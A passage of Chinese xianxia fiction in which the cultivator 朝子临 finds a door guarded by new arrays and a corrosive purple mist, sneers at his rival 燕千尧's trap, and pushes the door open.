他不是傻子，相反，在站到这扇门前的第一时间，他就察觉到了不对劲。 同上午相比，这扇门上不仅多出了好几个阵法，还笼罩着一层淡淡的、不易察觉的紫雾。 这种紫雾毒性实在剧烈，朝子临的手刚碰上去，护身灵罩就被腐蚀掉了一个小角。 要知道，他的修为以至金丹初期，再加上又携带了各色法宝，绝大多数的毒都不会对他起作用。 所以—— 朝子临冷笑，用力地拧下了门把手，任由紫雾咆哮着将他手淹没。 如果这就是那个燕千尧的手段，那也不过如此。 门，被推开了。